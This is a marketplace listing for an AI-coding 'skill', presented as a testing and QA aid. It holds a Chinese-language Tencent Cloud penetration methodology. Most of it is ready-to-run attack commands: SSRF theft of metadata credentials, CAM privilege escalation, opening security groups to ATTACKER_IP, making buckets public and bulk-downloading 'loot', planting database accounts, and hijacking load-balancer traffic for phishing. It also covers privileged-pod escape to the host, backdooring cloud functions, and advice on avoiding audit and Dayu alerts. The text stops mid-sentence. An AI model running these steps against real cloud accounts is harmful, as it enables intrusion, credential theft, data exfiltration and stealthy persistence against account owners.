
Tencent Pentesting
- 23 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with testing & qa tasks during AI-assisted development.
About
tencent-pentesting is a Claude Code skill for testing & qa. It helps solo builders move faster with AI-assisted coding.
- tencent-pentesting
- Testing & QA
- AI-coding skill
Tencent Pentesting by the numbers
- 23 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #1,407 of 2,153 Testing & QA skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill tencent-pentestingAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 23 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with testing & qa tasks during AI-assisted development.
Files
腾讯云渗透测试方法论
腾讯云 CAM/CVM/COS/TencentDB/TKE 等服务构成主要攻击面。与 AWS/阿里云不同,腾讯云元数据常用域名 metadata.tencentyun.com,部分环境也支持链路本地 IP(如 169.254.0.23);COS 操作需要独立的 coscmd 工具,CAM 使用 Uin/SubUin 身份模型(而非 ARN 体系)。本技能以渗透阶段(Phase)为主线,从凭据识别到各服务利用,提供完整攻击路径。
⛔ 深入参考(必读)
识别到具体攻击服务后,加载对应参考文档获取完整技术细节:
- 计算/存储/数据库详细利用 → 读 references/compute-storage-attacks.md
- 容器/Serverless/日志/KMS 详细利用 → 读 references/platform-services-attacks.md
---
Phase 1: 环境识别
拿到腾讯云相关目标后,首先识别凭据类型、确认 CLI 工具可用、判断网络位置。
1.1 凭据类型
| 凭据类型 | 识别特征 | 有效期 | 获取方式 |
|---|---|---|---|
| 长期 SecretId/SecretKey | SecretId 以 AKID 开头 | 永久(直到手动轮换) | CAM 控制台创建 / 代码泄露 |
| STS 临时凭据 | 包含 Token 字段 | 15 分钟 ~ 2 小时 | AssumeRole / CVM 元数据 |
| CVM Role(实例绑定) | 通过 metadata.tencentyun.com 获取 | 自动轮换 | CVM 实例元数据服务 |
1.2 CLI 配置
腾讯云有两个关键 CLI 工具,务必区分:
# 主 CLI: tccli(覆盖绝大多数服务)
pip install tccli
tccli configure
# 交互式填入 SecretId / SecretKey / Region / Output
# 验证当前身份
tccli sts GetCallerIdentity
# 返回: AccountId, Arn, Type (对应 Root/SubUser/RoleUser)
# COS 专用工具: coscmd(tccli cos 子命令功能有限!)
pip install coscmd
coscmd config -a SECRET_ID -s SECRET_KEY -b BUCKET_NAME -r REGION
# coscmd 支持 list / upload / download / delete 等完整文件操作
# tccli cos 仅支持 Bucket 级别 API,无法方便地列出/下载对象关键差异: 腾讯云 COS 操作必须结合 coscmd。tccli cos GetService 可以列出 Bucket 列表,但枚举对象内容、批量下载等操作需要 coscmd。这是腾讯云渗透中的重要工具区别。
1.3 元数据端点
腾讯云 CVM 元数据端点常用域名 metadata.tencentyun.com,部分环境也可通过链路本地 IP(如 169.254.0.23)访问;SSRF 探测和防护应同时考虑域名与 IP 形态。
# 判断是否在 CVM 实例内部
curl -s http://metadata.tencentyun.com/latest/meta-data/
curl -s http://169.254.0.23/latest/meta-data/
# 获取实例绑定的 CAM Role 名称
curl -s http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/
# 获取该 Role 的临时凭据(TmpSecretId/TmpSecretKey/Token)
curl -s http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/ROLE_NAME
# 获取实例 ID、区域等信息
curl -s http://metadata.tencentyun.com/latest/meta-data/instance-id
curl -s http://metadata.tencentyun.com/latest/meta-data/placement/region
# 获取 User-Data(可能包含初始化脚本中的凭据)
curl -s http://metadata.tencentyun.com/latest/user-dataSSRF 利用差异: 腾讯云元数据常用域名 metadata.tencentyun.com,也可能存在链路本地 IP 访问路径;仅限制 AWS/Aliyun 常见元数据 IP(如 169.254.169.254、100.100.100.200)并不充分。同时,腾讯云目前不强制 IMDSv2,大部分 CVM 实例的元数据服务可直接通过 HTTP GET 访问。
1.4 对象存储 URL 格式
公网访问: https://{bucket}-{appid}.cos.{region}.myqcloud.com/{object}
自定义域名: https://custom.domain.com/{object}发现 cos.*.myqcloud.com 域名即可确认目标使用腾讯云 COS。Bucket 名称格式为 {name}-{appid},appid 为数字。
1.5 区域编码
| 区域代码 | 位置 | 备注 |
|---|---|---|
| ap-guangzhou | 华南地区(广州) | 腾讯云总部所在地,最常用区域 |
| ap-shanghai | 华东地区(上海) | 金融客户常用 |
| ap-beijing | 华北地区(北京) | 政企客户常用 |
| ap-chengdu | 西南地区(成都) | |
| ap-chongqing | 西南地区(重庆) | |
| ap-nanjing | 华东地区(南京) | |
| ap-hongkong | 中国香港 | 无需备案,常被用于出海业务 |
| ap-singapore | 新加坡 | 海外区域 |
枚举时需遍历多个区域。部分服务(如 CAM、STS)为全局服务,不受区域限制。
1.6 CAM 身份模型
腾讯云 CAM 使用 Uin/SubUin 模型,与 AWS ARN 体系不同:
| 概念 | 腾讯云 CAM | AWS IAM |
|---|---|---|
| 主账号标识 | Uin(数字,如 100000123456) | Account ID(12 位数字) |
| 子用户标识 | SubUin(数字) | IAM User ARN |
| 角色标识 | RoleId + RoleName | Role ARN |
| 策略关联 | 通过 Uin/SubUin 绑定 | 通过 ARN 绑定 |
# 获取当前身份(已在 1.2 中介绍,此处复习)
tccli sts GetCallerIdentity
# 返回 AccountId(即主账号 Uin)、Type
# 列出子用户详情(需知道子用户 Uin)
tccli cam DescribeSubAccounts --FilterSubAccountUin '[SUB_UIN]'---
Phase 2: 攻击决策树
根据当前持有的凭据/位置,判断攻击路径:
当前持有什么?
├── 无凭据
│ ├── 有目标域名 → COS Bucket 枚举(猜解 bucket-appid 名 + 公开访问检测)
│ ├── 有 SSRF 漏洞 → 打 http://metadata.tencentyun.com 获取 CAM Role 凭据
│ └── 仅知组织名 → OSINT + COS/子域名枚举
│
├── 有 SecretId/SecretKey(AKID 开头)
│ ├── 先验证: tccli sts GetCallerIdentity
│ ├── 有 CAM 写权限 → Phase 3(CAM 提权)
│ ├── 有 CVM 权限 → Phase 4(计算/存储)
│ ├── 有 COS 权限 → Phase 4(对象存储,需 coscmd!)
│ ├── 有 TencentDB 权限 → Phase 4(数据库)
│ └── 权限不明 → 逐服务探测(手动调用各命名空间 Describe* 类 API)
│
├── 有 STS 临时凭据(含 Token)
│ └── 同上,但需注意有效期(最长 2 小时),快速行动
│
├── 在 CVM 实例内部
│ ├── 获取元数据 CAM Role 凭据 → 根据权限进入对应 Phase
│ └── 检查 User-Data 中是否有硬编码凭据
│
└── 有容器环境(TKE Pod 内部)
├── 检查 ServiceAccount Token
├── 尝试访问 metadata.tencentyun.com 元数据
└── → Phase 5(容器/Serverless)---
Phase 3: CAM 提权速查
CAM(Cloud Access Management)是腾讯云的身份权限服务,对标 AWS IAM。
3.1 信息收集
# 列出所有子用户
tccli cam ListUsers
# 查看指定子用户的策略(使用 SubUin)
tccli cam ListAttachedUserPolicies --TargetUin SUB_UIN
# 列出该用户的 AccessKey
tccli cam ListAccessKeys --TargetUin UIN
# 列出所有角色
tccli cam DescribeRoleList --Page 1 --Rp 1003.2 提权路径
| 提权路径 | 所需权限 | 操作 |
|---|---|---|
| 创建 AccessKey | cam:CreateAccessKey | 为高权限用户创建新 SecretId/SecretKey |
| 附加策略 | cam:AttachUserPolicy | 给自己附加 AdministratorAccess |
| 创建策略版本 | cam:CreatePolicy | 创建 Allow * 策略并附加到自身 |
| 修改角色信任策略 | cam:UpdateAssumeRolePolicy | 修改角色信任实体使自己可 AssumeRole |
| PassRole + 创建 CVM | cam:PassRole + cvm:RunInstances | 启动绑定高权限 Role 的 CVM |
| PassRole + 创建 SCF | cam:PassRole + scf:CreateFunction | 创建绑定高权限 Role 的云函数并执行 |
# 提权示例:为目标用户创建新 AccessKey
tccli cam CreateAccessKey --TargetUin TARGET_UIN
# 成功返回 SecretId + SecretKey,用新凭据重新配置 CLI
# 提权示例:给当前用户附加管理员策略
tccli cam AttachUserPolicy --PolicyId 1 --AttachUin CURRENT_SUB_UIN
# PolicyId 1 = AdministratorAccess(腾讯云预设策略)---
Phase 4: 计算/存储/数据库速查
CVM(云服务器)
# 列出实例
tccli cvm DescribeInstances --output json
# 获取指定实例详情
tccli cvm DescribeInstances --InstanceIds '["ins-INSTANCE_ID"]'→ 读 references/compute-storage-attacks.md 获取 VNC 连接、User-Data 提取、TAT 命令执行完整流程
COS(对象存储)
# 列出所有 Bucket(tccli 可完成)
tccli cos GetService --output json
# 列出 Bucket 内容(必须用 coscmd!)
coscmd -b BUCKET_NAME -r REGION list
coscmd -b BUCKET_NAME -r REGION list -a # 递归列出所有对象→ 读 references/compute-storage-attacks.md 获取 ACL 检查、数据下载、公开访问检测完整流程
TencentDB(数据库)
# 列出所有 MySQL 实例(cdb 命名空间)
tccli cdb DescribeDBInstances --output json→ 读 references/compute-storage-attacks.md 获取连接信息获取、账号创建、数据导出完整流程
CLB(负载均衡)
# 列出所有负载均衡实例
tccli clb DescribeLoadBalancers --output json→ 读 references/compute-storage-attacks.md 获取后端篡改、流量劫持完整流程
---
Phase 5: 容器/Serverless/日志/KMS 速查
TKE(容器服务 Kubernetes)
# 列出集群 → 获取 kubeconfig
tccli tke DescribeClusters
tccli tke DescribeClusterKubeconfig --ClusterId cls-CLUSTER_ID→ 读 references/platform-services-attacks.md 获取集群接管、特权 Pod 创建完整流程
SCF(云函数)
# 列出函数(命名空间为 scf,不是 scb!)
tccli scf ListFunctions --Namespace default --output json→ 读 references/platform-services-attacks.md 获取代码提取、环境变量泄露完整流程
CLS(日志服务)
# 搜索敏感信息
tccli cls SearchLog --TopicId TOPIC_ID --Query "password|secret|token"→ 读 references/platform-services-attacks.md 获取日志搜索、批量导出完整流程
KMS(密钥管理)
# 列出密钥 → 尝试解密
tccli kms ListKeys→ 读 references/platform-services-attacks.md 获取密钥枚举、数据解密完整流程
---
Phase 6: 安全组操控
安全组是腾讯云 CVM 的网络访问控制层,类似 AWS Security Groups。利用安全组规则可以打开网络通路。
# 列出所有安全组
tccli vpc DescribeSecurityGroups --output json
# 查看安全组规则
tccli vpc DescribeSecurityGroupPolicies --SecurityGroupId sg-SG_ID
# 添加入方向规则 — 仅开放攻击者 IP 的 SSH
tccli vpc CreateSecurityGroupPolicies --SecurityGroupId sg-SG_ID \
--SecurityGroupPolicySet '{"Ingress":[{"Protocol":"tcp","Port":"22","CidrBlock":"ATTACKER_IP/32","Action":"ACCEPT"}]}'
# 危险操作 — 开放所有端口(极高告警风险)
tccli vpc CreateSecurityGroupPolicies --SecurityGroupId sg-SG_ID \
--SecurityGroupPolicySet '{"Ingress":[{"Protocol":"tcp","Port":"ALL","CidrBlock":"0.0.0.0/0","Action":"ACCEPT"}]}'判断依据: 仅在需要建立反向连接或直接访问内部服务时操作安全组。优先使用最小端口范围 + 指定源 IP,避免触发大禹安全告警。
---
工具速查
| 工具 | 用途 | 安装/使用 |
|---|---|---|
| tccli | 腾讯云官方命令行工具 | pip install tccli |
| coscmd | COS 对象存储专用工具(必备!) | pip install coscmd |
| tccli sts GetCallerIdentity | 验证凭据身份 | 内置子命令 |
| curl | 元数据服务探测(注意用域名) | 系统自带 |
| kubectl | TKE 集群操作 | 获取 kubeconfig 后使用 |
| cf (Cloud Exploitation Framework) | 腾讯云/阿里云自动化利用 | go install github.com/teamssix/cf@latest |
注意事项
云审计感知: 腾讯云云审计(CloudAudit)记录管理事件 API 调用(类似 AWS CloudTrail)。以下操作产生高可见性日志:
- CAM 变更(CreateUser、CreateAccessKey、AttachUserPolicy)
- STS 调用(AssumeRole)
- 安全组规则变更(CreateSecurityGroupPolicies,vpc 命名空间)
大禹安全检测: 腾讯云安全产品会检测:
- SecretId/SecretKey 异常调用(异常 IP、异常时间、异常 API 频率)
- CVM 异常登录(非常用地域 IP)
- 安全组规则异常开放
- COS Bucket ACL 变更为公开
速率限制: 腾讯云 API 有限流机制,枚举时建议控制频率。触发限流返回 RequestLimitExceeded 错误码。
区域遍历: 与 AWS 类似,腾讯云资源按区域隔离。全局服务(CAM、STS)不受区域限制,但 CVM/COS/TencentDB 等需逐区域枚举。
tccli 参数格式: tccli 部分参数接受 JSON 格式(如 --Accounts '[{...}]'、--SecurityGroupPolicySet '{...}'),注意正确的 JSON 转义。
腾讯云计算/存储/数据库攻击详解
本文档覆盖腾讯云 CVM(云服务器)、COS(对象存储)、TencentDB(数据库)、CLB(负载均衡)四项核心服务的渗透技术。每项技术包含利用条件、完整命令和预期输出。
---
CVM 云服务器攻击
CVM 是腾讯云最基础的计算服务。攻击 CVM 的主要目标是获取实例控制权、提取敏感数据、或通过实例绑定的 CAM Role 获取更高权限。
实例枚举
利用条件: 拥有 cvm:DescribeInstances 权限。
# 列出所有实例
tccli cvm DescribeInstances --output json
# 预期输出关注字段:
# InstanceId (ins-xxx), InstanceName, InstanceState (RUNNING/STOPPED)
# PublicIpAddresses (公网 IP), PrivateIpAddresses (内网 IP)
# SecurityGroupIds (安全组), VirtualPrivateCloud (VPC 信息)
# 获取指定实例的详细信息
tccli cvm DescribeInstances --InstanceIds '["ins-INSTANCE_ID"]'关注点: 返回结果中的 PublicIpAddresses(公网 IP)、SecurityGroupIds(安全组)、CamRoleName(绑定角色)。如果 CamRoleName 不为空,该实例绑定了 CAM Role——通过元数据服务可获取该 Role 的临时凭据,这是横向移动的关键线索。
VNC 连接
利用条件: 拥有 cvm:DescribeInstanceVncUrl 权限。
# 获取实例的 VNC 控制台连接 URL
tccli cvm DescribeInstanceVncUrl --InstanceId ins-INSTANCE_ID
# 返回的 URL 可在浏览器中打开,提供实例的图形化终端
# 适用于无法通过 SSH/RDP 连接时的应急访问注意: VNC 连接需要实例处于 RUNNING 状态。URL 有效期短,获取后需立即使用。
User-Data 提取
利用条件: 在 CVM 实例内部可访问元数据。
# 从元数据服务获取(在实例内部执行)
curl -s http://metadata.tencentyun.com/latest/user-data
# User-Data 常见敏感内容:
# - 数据库连接字符串
# - SecretId/SecretKey
# - 配置管理系统凭据
# - SSH 私钥通过 TAT 执行命令
利用条件: 拥有 tat:RunCommand 或 tat:InvokeCommand 权限,且目标实例已安装腾讯云自动化助手(TAT)Agent。
# 检查实例是否安装了 TAT Agent
tccli tat DescribeAutomationAgentStatus --InstanceIds '["ins-INSTANCE_ID"]'
# 直接在实例上执行命令(最直接的 RCE 方式)
tccli tat RunCommand --Content "aWQgJiYgd2hvYW1p" \
--InstanceIds '["ins-INSTANCE_ID"]' \
--CommandType SHELL
# 注意:Content 为 Base64 编码(上面是 "id && whoami" 的 Base64)
# 获取命令执行结果
tccli tat DescribeInvocationTasks --InvocationTaskId TASK_ID
# 预期输出中的 TaskResult.Output 字段为 Base64 编码,需解码关键判断: TAT(TencentCloud Automation Tools)是腾讯云 CVM 的原生远程管理工具(类似 AWS SSM Agent)。如果实例安装了 TAT Agent,RunCommand 是最隐蔽的命令执行方式——不需要开放 SSH 端口,不需要知道密码,直接通过腾讯云 API 通道执行。
实例元数据利用
从 CVM 内部利用元数据获取凭据,是腾讯云环境中 SSRF 漏洞的核心利用路径。
# 完整的元数据利用链(从 SSRF 到获取凭据):
# Step 1: 确认元数据服务可达(注意:是域名!)
curl -s http://metadata.tencentyun.com/latest/meta-data/
# Step 2: 获取 CAM Role 名称
curl -s http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/
# 输出: CVM-Role-Name
# Step 3: 获取临时凭据
curl -s http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/CVM-Role-Name
# 输出 JSON:
# {
# "TmpSecretId": "AKID...",
# "TmpSecretKey": "xxx",
# "Token": "xxx",
# "ExpiredTime": 1704067200
# }
# Step 4: 用获取的凭据配置 tccli
export TENCENTCLOUD_SECRET_ID="AKID..."
export TENCENTCLOUD_SECRET_KEY="xxx"
export TENCENTCLOUD_TOKEN="xxx"
# Step 5: 验证凭据
tccli sts GetCallerIdentitySSRF 优势: 由于腾讯云元数据使用域名 metadata.tencentyun.com 而非 IP,很多基于 IP 黑名单的 SSRF 防护不会拦截此请求。在 SSRF 利用场景中,这是腾讯云特有的优势。
---
COS 对象存储攻击
COS(Cloud Object Storage)是腾讯云的对象存储服务,对标 AWS S3。攻击目标包括数据窃取、ACL 篡改、配置文件获取。
关键工具区分: 腾讯云 COS 操作需要同时使用 tccli 和 coscmd 两个工具:
tccli cos— 用于 Bucket 级别操作(列出 Bucket、查看 ACL、设置策略)coscmd— 用于对象级别操作(列出文件、上传下载、批量操作)
Bucket 枚举与内容列出
利用条件: 拥有 cos:GetService 权限(列出 Bucket),或 Bucket 本身允许公开列出。
# 列出当前账号下所有 Bucket(使用 tccli)
tccli cos GetService --output json
# 预期输出中关注 Bucket 名称和 Region
# 列出 Bucket 内容(必须使用 coscmd)
coscmd -b BUCKET_NAME -r REGION list
# 递归列出所有对象
coscmd -b BUCKET_NAME -r REGION list -a
# 按前缀过滤
coscmd -b BUCKET_NAME -r REGION list config/
coscmd -b BUCKET_NAME -r REGION list backup/Bucket ACL 检查与修改
利用条件: 检查 ACL 需要 cos:GetBucketACL,修改 ACL 需要 cos:PutBucketACL。
# 检查 Bucket 的 ACL
tccli cos GetBucketACL --Bucket BUCKET_NAME
# 修改 Bucket ACL 为公开读(数据外泄)
tccli cos PutBucketACL --Bucket BUCKET_NAME --ACL public-read
# 修改后该 Bucket 所有对象可通过 URL 直接下载:
# https://BUCKET_NAME.cos.REGION.myqcloud.com/OBJECT_PATH风险评估: PutBucketACL public-read 会立即使 Bucket 所有内容对互联网可见。云审计会记录 ACL 变更事件。
数据下载
# 下载单个文件
coscmd -b BUCKET_NAME -r REGION download OBJECT_PATH /tmp/
# 递归下载整个 Bucket(注意大小)
coscmd -b BUCKET_NAME -r REGION download / /tmp/loot/ -r
# 下载特定后缀的敏感文件
coscmd -b BUCKET_NAME -r REGION download / /tmp/loot/ -r \
--include "*.sql,*.env,*.key,*.pem,*.bak,*.conf"未授权访问检测
无需任何凭据即可检测 COS Bucket 是否公开:
# 直接通过 HTTP 检查是否可列出
curl -s "https://BUCKET_NAME.cos.REGION.myqcloud.com/?list-type=2"
# 如果返回 XML 含 <Contents>,说明 Bucket 允许匿名列出
# 检查是否可下载特定对象
curl -s -o /dev/null -w "%{http_code}" \
"https://BUCKET_NAME.cos.REGION.myqcloud.com/test.txt"
# 200 = 可下载, 403 = 禁止, 404 = 不存在
# Bucket 名称格式提示:腾讯云 COS Bucket 名含 appid
# 实际 URL: https://mybucket-1250000000.cos.ap-guangzhou.myqcloud.com/---
TencentDB 数据库攻击
TencentDB 是腾讯云的托管数据库服务(主要为 MySQL),tccli 中使用 cdb 命名空间。攻击目标是数据窃取和持久化后门。
实例枚举
利用条件: 拥有 cdb:DescribeDBInstances 权限。
# 列出所有数据库实例
tccli cdb DescribeDBInstances --output json
# 预期输出关注:
# InstanceId (cdb-xxx), InstanceName, InstanceType (主/只读/灾备)
# Vip (内网 IP), Vport (端口), WanDomain (外网域名, 可能为空)
# 获取实例详细信息(使用 InstanceIds 过滤)
tccli cdb DescribeDBInstances --InstanceIds '["cdb-INSTANCE_ID"]'
# 关注: WanDomain/WanPort(外网访问地址)、EngineVersion(数据库版本)关键判断: 如果 WanDomain 不为空,说明数据库开启了外网访问。如果为空,需要通过 CVM 实例或 VPN 访问内网地址(Vip:Vport)。
创建数据库账号
利用条件: 拥有 cdb:CreateAccounts 权限。
# 创建只读账号(注意 --Accounts 接受 JSON 数组格式)
tccli cdb CreateAccounts --InstanceId cdb-INSTANCE_ID \
--Accounts '[{"User":"audit_reader","Host":"%","Password":"Str0ngP@ss!"}]'
# 预期输出:成功后返回 AsyncRequestId
# 创建后需通过 GrantAccountPrivileges 单独授权(如仅授 SELECT 权限)
# 用 audit_reader / Str0ngP@ss! 连接数据库tccli 参数格式: --Accounts 参数必须是 JSON 数组(腾讯云 API 特有),不能使用逐字段传参。
利用后: 获取数据库访问权限后,使用 mysql 客户端连接,重点搜索:
- 用户表(用户名、密码哈希、邮箱)
- 配置表(第三方 API Key、数据库连接串)
- 日志表(操作日志中的敏感信息)
数据库备份利用
# 列出备份集
tccli cdb DescribeBackups --InstanceId cdb-INSTANCE_ID
# 返回中的 IntranetUrl/InternetUrl 字段即为下载地址
# 如果 InternetUrl 为空,需先开启外网下载
# 或通过同 VPC 内的 CVM 使用 IntranetUrl 下载---
CLB 负载均衡攻击
CLB(Cloud Load Balancer)是腾讯云的负载均衡服务。攻击 CLB 可以劫持流量、注入后端服务器、或造成拒绝服务。
枚举与信息收集
利用条件: 拥有 clb:DescribeLoadBalancers 权限。
# 列出所有 CLB 实例
tccli clb DescribeLoadBalancers --output json
# 预期输出关注:
# LoadBalancerId (lb-xxx), LoadBalancerVips (VIP 地址), Status (0=创建中/1=正常运行)
# 查看后端服务器健康状态
tccli clb DescribeTargetHealth --LoadBalancerIds '["lb-LB_ID"]'
# 显示后端 CVM 实例 ID、健康状态、端口映射后端服务器篡改
利用条件: 拥有 clb:RegisterTargets 权限。
# 先获取监听器 ID
tccli clb DescribeListeners --LoadBalancerId lb-LB_ID
# 添加攻击者控制的服务器到 CLB 后端(流量劫持)
tccli clb RegisterTargets --LoadBalancerId lb-LB_ID \
--ListenerId lbl-LISTENER_ID \
--Targets '[{"InstanceId":"ins-ATTACKER_INSTANCE","Port":80,"Weight":100}]'攻击效果: 将攻击者控制的 CVM 实例加入负载均衡后端池,并设置最高权重(100),可以:
- 拦截用户请求中的凭据、Session Token
- 返回钓鱼页面
- 获取后端服务通信协议和数据格式
注意: CLB 配置变更会在云审计中留下记录,且后端服务器需在同一 VPC 内。
监听器配置篡改
# 查看 CLB 完整配置
tccli clb DescribeLoadBalancerDetail --LoadBalancerId lb-LB_ID
# 如果 CLB 配置了 HTTPS 监听器,获取证书信息
tccli ssl DescribeCertificates
# 可能泄露域名信息和证书关联关系腾讯云容器/Serverless/日志/KMS 攻击详解
本文档覆盖腾讯云 TKE(容器服务 Kubernetes)、SCF(云函数)、CLS(日志服务)、KMS(密钥管理)四项平台服务的渗透技术。
---
TKE 容器服务攻击
TKE(Tencent Kubernetes Engine)是腾讯云的托管 Kubernetes 服务。攻击目标是获取集群控制权、容器逃逸到宿主机、或通过 ServiceAccount 横向移动。
集群枚举
利用条件: 拥有 tke:DescribeClusters 权限。
# 列出所有 TKE 集群
tccli tke DescribeClusters
# 返回关注字段:
# ClusterId: 集群唯一标识 (cls-xxx)
# ClusterName: 集群名称
# ClusterType: MANAGED_CLUSTER(托管) / INDEPENDENT_CLUSTER(独立)
# ClusterStatus: Running / Abnormal / Creating
# ClusterNodeNum: 节点数量
# ClusterVersion: K8s 版本关注点: ClusterType 区分托管/独立集群——托管集群的 Master 节点由腾讯云管理,攻击面集中在 Worker 节点和 K8s API。
获取集群凭据
利用条件: 拥有 tke:DescribeClusterKubeconfig 权限。这是 TKE 攻击链中最关键的一步。
# 获取 kubeconfig(集群管理凭据)
tccli tke DescribeClusterKubeconfig --ClusterId cls-CLUSTER_ID
# 将返回的 kubeconfig 保存到文件
tccli tke DescribeClusterKubeconfig --ClusterId cls-CLUSTER_ID \
| jq -r '.Kubeconfig' > /tmp/kubeconfig
# 使用获取的 kubeconfig 操作集群
export KUBECONFIG=/tmp/kubeconfig
# 验证集群访问
kubectl cluster-info
kubectl get nodes关键判断: 如果成功获取 kubeconfig,等同于获得了集群的完全控制权。根据 kubeconfig 中配置的用户身份,可能直接是 cluster-admin 角色。
Kubernetes 集群利用
获取 kubeconfig 后,使用标准 Kubernetes 攻击技术:
# 信息收集
kubectl get pods --all-namespaces
kubectl get secrets --all-namespaces
kubectl get configmaps --all-namespaces
# 读取 Secret 内容(可能包含数据库密码、API Key)
kubectl get secret SECRET_NAME -n NAMESPACE -o jsonpath='{.data}' | \
while IFS= read -r line; do echo "$line" | base64 -d; done
# 检查 ServiceAccount 权限
kubectl auth can-i --list
kubectl auth can-i --list --as=system:serviceaccount:NAMESPACE:SA_NAME创建特权 Pod
利用条件: 拥有 Pod 创建权限(pods/create),且 PodSecurityPolicy/PodSecurityStandard 未严格限制。
# 创建特权 Pod(挂载宿主机文件系统)
kubectl run priv-pod --image=alpine --overrides='{
"spec": {
"containers": [{
"name": "priv",
"image": "alpine",
"command": ["sleep", "3600"],
"securityContext": {"privileged": true},
"volumeMounts": [{"name": "host", "mountPath": "/host"}]
}],
"volumes": [{
"name": "host",
"hostPath": {"path": "/", "type": "Directory"}
}]
}
}'
# 进入 Pod,访问宿主机文件系统
kubectl exec -it priv-pod -- /bin/sh
# 在 Pod 内: ls /host/ → 宿主机根目录
# chroot /host /bin/bash → 获取宿主机 shell攻击效果: 特权 Pod 可以访问宿主机所有文件系统、网络栈和设备。从容器逃逸到节点后,可以:
- 读取节点上其他 Pod 的 Secret
- 访问节点的 kubelet 凭据
- 通过节点的 CAM Role 访问腾讯云 API
从 Pod 内获取元数据
在 TKE 集群的 Pod 内部,同样可以访问 CVM 元数据服务:
# 在 Pod 内获取节点的 CAM Role 凭据(注意:是域名!)
curl -s http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/
curl -s http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/ROLE_NAME注意: 腾讯云 TKE 默认情况下,Pod 可以直接访问节点元数据服务。如果节点绑定了高权限 CAM Role,Pod 内的攻击者可以获取该 Role 的临时凭据。部分集群可能配置了网络策略限制元数据访问,但这不是默认行为。
---
SCF 云函数攻击
SCF(Serverless Cloud Function)是腾讯云的 Serverless 计算服务,对标 AWS Lambda。tccli 命名空间为 scf(注意:不是 scb)。攻击目标是代码窃取、环境变量中的凭据提取、以及通过函数绑定的服务角色横向移动。
函数枚举
利用条件: 拥有 scf:ListFunctions 权限。
# 列出所有函数(默认命名空间为 default)
tccli scf ListFunctions --Namespace default --output json
# 预期输出关注:
# FunctionName: 函数名称
# Runtime: 运行时 (Python3.6/Node.js12.16/Go1/Java8 等)
# FunctionId: 函数唯一标识
# Status: Active / Creating / Updating
# 列出所有命名空间
tccli scf ListNamespaces --output json
# 逐命名空间枚举函数关注点: Runtime 信息帮助判断代码语言。Python/Node.js 函数更可能在环境变量中存储凭据。
获取函数代码
利用条件: 拥有 scf:GetFunction 权限。
# 获取函数详细信息(包括代码下载地址)
tccli scf GetFunction --FunctionName FUNCTION_NAME --Namespace NAMESPACE
# 返回中包含 CodeInfo(代码下载 URL)、Handler、Environment 等
# 代码下载 URL 通常为临时 COS 签名链接,有效期有限
# 获取后立即下载:
curl -o /tmp/function_code.zip "CODE_DOWNLOAD_URL"利用后分析: 解压代码包后重点搜索:
- 硬编码的 SecretId/SecretKey
- 数据库连接字符串
- 第三方 API Token
- 内网服务地址
环境变量提取
利用条件: 拥有 scf:GetFunction 权限。
# 获取函数的环境变量(最常见的凭据存储位置)
tccli scf GetFunction --FunctionName FUNCTION_NAME --Namespace NAMESPACE \
| grep -A 50 "Environment"
# 常见的敏感环境变量名:
# DB_HOST, DB_PASSWORD, DB_CONNECTION_STRING
# TENCENTCLOUD_SECRET_ID, TENCENTCLOUD_SECRET_KEY, TENCENTCLOUD_TOKEN
# COS_BUCKET, COS_REGION
# REDIS_PASSWORD, REDIS_HOST
# API_KEY, SECRET_KEY, JWT_SECRET关键判断: 开发者经常将凭据存储在 SCF 函数的环境变量中。一个函数的环境变量可能包含访问多个其他服务的凭据,形成横向移动链。
函数日志查看
利用条件: 拥有 scf:GetFunctionLogs 权限。
# 查看函数最近的执行日志
tccli scf GetFunctionLogs --FunctionName FUNCTION_NAME --Namespace NAMESPACE \
--Limit 100
# 日志中可能包含:
# - 请求/响应数据
# - 错误信息中泄露的内部路径和配置
# - Debug 日志中打印的变量值函数代码注入
利用条件: 拥有 scf:UpdateFunctionCode 权限。
# 修改函数代码实现持久化后门
# 此操作极其危险,会直接影响生产环境
tccli scf UpdateFunctionCode --FunctionName FUNCTION_NAME \
--Namespace NAMESPACE \
--Handler "index.handler" \
--ZipFile "BASE64_ENCODED_ZIP"注意: 修改函数代码会被云审计记录为 UpdateFunctionCode 事件。如果目标配置了版本/别名机制,修改 $LATEST 版本不会影响通过别名(如 production)调用的流量。
---
CLS 日志服务攻击
CLS(Cloud Log Service)是腾讯云的日志收集分析平台。日志中经常包含应用层的敏感信息——密码、Token、内部 API 调用等。
日志主题枚举
利用条件: 拥有 cls:DescribeTopics 和 cls:DescribeLogsets 权限。
# 列出所有日志集
tccli cls DescribeLogsets --output json
# 列出所有日志主题
tccli cls DescribeTopics --output json
# 预期输出关注:
# TopicId: 日志主题唯一标识
# TopicName: 主题名称
# LogsetId: 所属日志集
# StorageType: hot(实时) / cold(离线)
# 常见的日志主题名称:
# cls-access-log (访问日志)
# cls-error-log (错误日志)
# cls-audit-log (审计日志)
# cls-app-log (应用日志)敏感日志搜索
利用条件: 拥有 cls:SearchLog 权限。
# 搜索包含密码/凭据关键词的日志
tccli cls SearchLog --TopicId TOPIC_ID \
--From $(date -d '7 days ago' +%s)000 \
--To $(date +%s)000 \
--Query "password OR secret OR token OR secretid OR credential"
# 搜索失败的认证尝试(可能泄露有效用户名)
tccli cls SearchLog --TopicId TOPIC_ID \
--From $(date -d '1 day ago' +%s)000 \
--To $(date +%s)000 \
--Query "401 OR 403 OR \"authentication failed\" OR \"login failed\""
# 搜索内网 IP 访问记录(发现内部服务拓扑)
tccli cls SearchLog --TopicId TOPIC_ID \
--From $(date -d '1 day ago' +%s)000 \
--To $(date +%s)000 \
--Query "10.0.* OR 172.16.* OR 192.168.*"CLS 时间戳格式: 腾讯云 CLS 的 --From 和 --To 参数使用毫秒级 Unix 时间戳(需在秒级时间戳后加 000),这与阿里云 SLS 的秒级时间戳不同。
关键判断: 日志服务是信息收集的金矿。应用日志中经常出现:
